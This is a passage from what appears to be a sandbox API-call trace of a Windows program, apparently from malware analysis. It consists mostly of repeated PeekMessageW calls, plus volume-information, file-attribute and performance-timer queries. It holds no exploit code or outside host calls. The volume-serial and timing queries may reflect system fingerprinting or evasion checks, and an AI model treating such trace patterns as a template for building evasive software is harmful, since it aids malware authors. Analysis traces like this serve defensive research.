lpMsg=0x10f395ef30) returned 0 [0047.584] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0047.584] PeekMessageW (in: lpMsg=0x10f395ef30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395ef30) returned 0 [0047.585] SetErrorMode (uMode=0x1) returned 0x0 [0047.585] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x10f394f440, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0x10f395f468, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x10f395f468*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0047.585] GetLastError () returned 0x3f0 [0047.585] SetLastError (dwErrCode=0x3f0) [0047.585] GetLastError () returned 0x3f0 [0047.585] SetLastError (dwErrCode=0x3f0) [0047.585] SetErrorMode (uMode=0x0) returned 0x1 [0047.585] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.586] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.587] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.587] QueryPerformanceCounter (in: lpPerformanceCount=0x10f395f468 | out: lpPerformanceCount=0x10f395f468*=320412991) returned 1 [0047.587] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.587] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.587] QueryPerformanceCounter (in: lpPerformanceCount=0x10f395f468 | out: lpPerformanceCount=0x10f395f468*=320413655) returned 1 [0047.587] QueryPerformanceFrequency (in: lpFrequency=0x10f395f3e0 | out: lpFrequency=0x10f395f3e0) returned 1 [0047.587] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0047.587] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0047.587] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.587] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.587] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.588] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.588] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.588] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.588] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.589] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.590] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.591] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.592] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.593] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.602] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.602] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.605] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0047.606] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, 